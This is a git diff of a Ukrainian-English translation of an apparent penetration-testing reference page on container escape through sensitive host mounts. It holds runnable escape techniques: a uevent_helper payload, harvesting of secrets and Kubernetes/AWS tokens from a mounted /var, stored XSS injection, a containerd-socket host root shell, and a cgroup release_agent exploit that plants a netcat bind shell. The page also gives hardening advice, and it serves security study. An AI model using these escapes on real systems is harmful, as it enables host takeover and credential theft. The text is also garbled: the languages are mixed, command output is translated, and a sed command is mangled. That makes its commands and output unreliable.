Translated ['src/linux-hardening/privilege-escalation/docker-security/do

2025-10-10 18:36:50 +00:00 · 2025-07-11 02:42:58 +00:00 · 2025-07-11 02:42:58 +00:00 · 28fb243f87
commit 28fb243f87
parent d41419c158
1 changed files with 148 additions and 70 deletions
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -2,7 +2,7 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Відкриття `/proc`, `/sys` та `/var` без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.
+Відкриття `/proc`, `/sys` та `/var` без належної ізоляції простору імен створює значні ризики для безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.

 **Ви можете знайти додаткові деталі кожної потенційної вразливості в** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

@ -10,7 +10,7 @@

 ### `/proc/sys`

-Цей каталог дозволяє доступ для зміни змінних ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння:
+Цей каталог дозволяє доступ до зміни змінних ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння:

 #### **`/proc/sys/kernel/core_pattern`**

@ -44,13 +44,13 @@ return 0;
 - **Приклад перевірки доступу**:

 ```bash
-ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до modprobe
+ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
 ```

 #### **`/proc/sys/vm/panic_on_oom`**

 - Згадується в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM-убивцю, коли виникає умова OOM.
+- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM killer, коли виникає умова OOM.

 #### **`/proc/sys/fs`**

@ -60,17 +60,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до
 #### **`/proc/sys/fs/binfmt_misc`**

 - Дозволяє реєструвати інтерпретатори для ненативних бінарних форматів на основі їх магічного номера.
- Може призвести до підвищення привілеїв або доступу до кореневого терміналу, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
+- Може призвести до підвищення привілеїв або доступу до root shell, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
 - Відповідна експлуатація та пояснення:
- [Бідний чоловік rootkit через binfmt_misc](https://github.com/toffan/binfmt_misc)
- Детальний посібник: [Посилання на відео](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
+- Докладний посібник: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

 ### Інші в `/proc`

 #### **`/proc/config.gz`**

 - Може розкрити конфігурацію ядра, якщо `CONFIG_IKCONFIG_PROC` увімкнено.
- Корисно для атакуючих для виявлення вразливостей у запущеному ядрі.
+- Корисно для зловмисників для виявлення вразливостей у запущеному ядрі.

 #### **`/proc/sysrq-trigger`**

@ -78,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до
 - **Приклад перезавантаження хоста**:

 ```bash
-echo b > /proc/sysrq-trigger # Перезавантажує хост
+echo b > /proc/sysrq-trigger # Reboots the host
 ```

 #### **`/proc/kmsg`**
@ -95,7 +95,7 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост

 #### **`/proc/[pid]/mem`**

- Інтерфейси з пристроєм пам'яті ядра `/dev/mem`.
+- Інтерфейс з пристроєм пам'яті ядра `/dev/mem`.
 - Історично вразливий до атак підвищення привілеїв.
 - Більше про [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

@ -104,7 +104,7 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост
 - Представляє фізичну пам'ять системи у форматі ELF core.
 - Читання може витікати вміст пам'яті хост-системи та інших контейнерів.
 - Великий розмір файлу може призвести до проблем з читанням або збоїв програмного забезпечення.
- Детальне використання в [Витягування /proc/kcore у 2019 році](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
+- Докладне використання в [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

 #### **`/proc/kmem`**

@ -119,12 +119,12 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост
 #### **`/proc/sched_debug`**

 - Повертає інформацію про планування процесів, обходячи захисти простору PID.
- Відкриває імена процесів, ID та ідентифікатори cgroup.
+- Витікає імена процесів, ID та ідентифікатори cgroup.

 #### **`/proc/[pid]/mountinfo`**

 - Надає інформацію про точки монту в просторі монту процесу.
- Відкриває місцезнаходження контейнера `rootfs` або образу.
+- Витікає місцезнаходження контейнера `rootfs` або образу.

 ### Вразливості `/sys`

@ -132,80 +132,88 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост

 - Використовується для обробки `uevents` пристроїв ядра.
 - Запис у `/sys/kernel/uevent_helper` може виконувати довільні скрипти при спрацьовуванні `uevent`.
- **Приклад для експлуатації**: %%%bash
+- **Приклад для експлуатації**:
+```bash

-#### Створює корисне навантаження
+#### Creates a payload

 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

-#### Знаходить шлях хоста з OverlayFS для контейнера
+#### Finds host path from OverlayFS mount for container

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Встановлює uevent_helper на шкідливий помічник
+#### Sets uevent_helper to malicious helper

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

-#### Викликає uevent
+#### Triggers a uevent

 echo change > /sys/class/mem/null/uevent

-#### Читає вихідні дані
+#### Reads the output

-cat /output %%%
+cat /output
+```

 #### **`/sys/class/thermal`**

- Контролює налаштування температури, потенційно викликаючи атаки DoS або фізичні пошкодження.
+- Controls temperature settings, potentially causing DoS attacks or physical damage.

 #### **`/sys/kernel/vmcoreinfo`**

- Витікає адреси ядра, потенційно компрометуючи KASLR.
+- Leaks kernel addresses, potentially compromising KASLR.

 #### **`/sys/kernel/security`**

- Містить інтерфейс `securityfs`, що дозволяє налаштування Linux Security Modules, таких як AppArmor.
- Доступ може дозволити контейнеру вимкнути свою MAC-систему.
+- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
+- Access might enable a container to disable its MAC system.

-#### **`/sys/firmware/efi/vars` та `/sys/firmware/efi/efivars`**
+#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Відкриває інтерфейси для взаємодії з EFI змінними в NVRAM.
- Неправильна конфігурація або експлуатація можуть призвести до "заблокованих" ноутбуків або неможливих для завантаження хост-машин.
+- Exposes interfaces for interacting with EFI variables in NVRAM.
+- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

 #### **`/sys/kernel/debug`**

- `debugfs` пропонує інтерфейс для налагодження без правил до ядра.
- Історія проблем з безпекою через його необмежений характер.
+- `debugfs` offers a "no rules" debugging interface to the kernel.
+- History of security issues due to its unrestricted nature.

-### Вразливості `/var`
+### `/var` Vulnerabilities

-Папка **/var** хоста містить сокети виконання контейнерів та файлові системи контейнерів. Якщо ця папка змонтована всередині контейнера, цей контейнер отримає доступ на читання та запис до файлових систем інших контейнерів з правами root. Це може бути зловжито для перемикання між контейнерами, викликання відмови в обслуговуванні або для створення бекдорів в інших контейнерах та програмах, що в них виконуються.
+The host's **/var** folder contains container runtime sockets and the containers' filesystems.
+If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
+with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
+containers and applications that run in them.

 #### Kubernetes

-Якщо контейнер такого типу розгорнуто з Kubernetes:
+If a container like this is deployed with Kubernetes:
+
 ```yaml
-apiVersion: v1
-kind: Pod
-metadata:
-name: pod-mounts-var
-labels:
-app: pentest
-spec:
-containers:
- name: pod-mounts-var-folder
-image: alpine
-volumeMounts:
- mountPath: /host-var
-name: noderoot
-command: [ "/bin/sh", "-c", "--" ]
-args: [ "while true; do sleep 30; done;" ]
-volumes:
- name: noderoot
-hostPath:
-path: /var
+apiVersion: v1  
+kind: Pod  
+metadata:  
+  name: pod-mounts-var  
+  labels:  
+    app: pentest  
+spec:  
+  containers:  
+    - name: pod-mounts-var-folder  
+      image: alpine  
+      volumeMounts:  
+        - mountPath: /host-var  
+          name: noderoot  
+      command: [ "/bin/sh", "-c", "--" ]  
+      args: [ "while true; do sleep 30; done;" ]  
+  volumes:  
+    - name: noderoot  
+      hostPath:  
+        path: /var
 ```
-Всередині контейнера **pod-mounts-var-folder**:
+
+Inside the **pod-mounts-var-folder** container:
+
 ```bash
 / # find /host-var/ -type f -iname '*.env*' 2>/dev/null

@ -223,20 +231,23 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

-/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
+/ # echo '<!DOCTYPE html><html lang="uk"><head><script>alert("Збережений XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
 are/nginx/html/index2.html
 ```
-XSS було досягнуто:
+
+The XSS was achieved:

 ![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

-Зверніть увагу, що контейнер НЕ потребує перезавантаження або чогось подібного. Будь-які зміни, внесені через змонтовану **/var** папку, будуть застосовані миттєво.
+Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

-Ви також можете замінити конфігураційні файли, двійкові файли, сервіси, файли додатків та профілі оболонки для досягнення автоматичного (або напівавтоматичного) RCE.
+You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

-##### Доступ до облікових даних хмари
+##### Access to cloud credentials
+
+The container can read K8s serviceaccount tokens or AWS webidentity tokens
+which allows the container to gain unauthorized access to K8s or cloud:

-Контейнер може читати токени K8s serviceaccount або токени AWS webidentity, що дозволяє контейнеру отримати несанкціонований доступ до K8s або хмари:
 ```bash
 / # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
 /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
@ -245,33 +256,100 @@ XSS було досягнуто:
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
 /host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
 ```
+
 #### Docker

-Експлуатація в Docker (або в розгортаннях Docker Compose) є точно такою ж, за винятком того, що зазвичай файлові системи інших контейнерів доступні під іншим базовим шляхом:
+The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
+the other containers' filesystems are available under a different base path:
+
 ```bash
 $ docker info | grep -i 'docker root\|storage driver'
-Storage Driver: overlay2
-Docker Root Dir: /var/lib/docker
+Драйвер зберігання: overlay2
+Коренева директорія Docker: /var/lib/docker
 ```
-Отже, файлові системи знаходяться під `/var/lib/docker/overlay2/`:
+
+So the filesystems are under `/var/lib/docker/overlay2/`:
+
 ```bash
 $ sudo ls -la /var/lib/docker/overlay2

-drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
-drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
-drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
-drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
+drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
+drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
+drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
+drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
 <SNIP>
 ```
-#### Примітка

-Фактичні шляхи можуть відрізнятися в різних налаштуваннях, тому найкраще використовувати команду **find** для
-виявлення файлових систем інших контейнерів та токенів SA / веб-ідентичності
+#### Note
+
+The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
+locate the other containers' filesystems and SA / web identity tokens



-### Посилання
+### Other Sensitive Host Sockets and Directories (2023-2025)

+Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
+
+```text
+/run/containerd/containerd.sock     # сокет containerd CRI  
+/var/run/crio/crio.sock             # сокет виконання CRI-O  
+/run/podman/podman.sock             # API Podman (з правами root або без)  
+/var/run/kubelet.sock               # API Kubelet на вузлах Kubernetes  
+/run/firecracker-containerd.sock    # Kata / Firecracker
+```
+
+Attack example abusing a mounted **containerd** socket:
+
+```bash
+# всередині контейнера (сокет змонтовано за адресою /host/run/containerd.sock)
+ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
+ctr --address /host/run/containerd.sock run --tty --privileged --mount \
+type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
+chroot /host /bin/bash   # повна root оболонка на хості
+```
+
+A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
+
+Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
+
+```bash
+# припускаючи, що контейнер має CAP_SYS_ADMIN і вразливе ядро
+mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
+
+echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # вимагає CVE-2022-0492
+
+echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
+sh -c "echo 0 > /tmp/x/cgroup.procs"  # викликає подію empty-cgroup
+```
+
+When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
+
+### Mount-Related Escape CVEs (2023-2025)
+
+* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
+runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
+
+```Dockerfile
+FROM scratch
+WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
+CMD ["/bin/sh"]
+```
+
+* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
+A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
+
+### Hardening Reminders (2025)
+
+1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
+2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
+3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
+4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
+
+### References
+
+- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
+- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
 - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
 - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
 - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)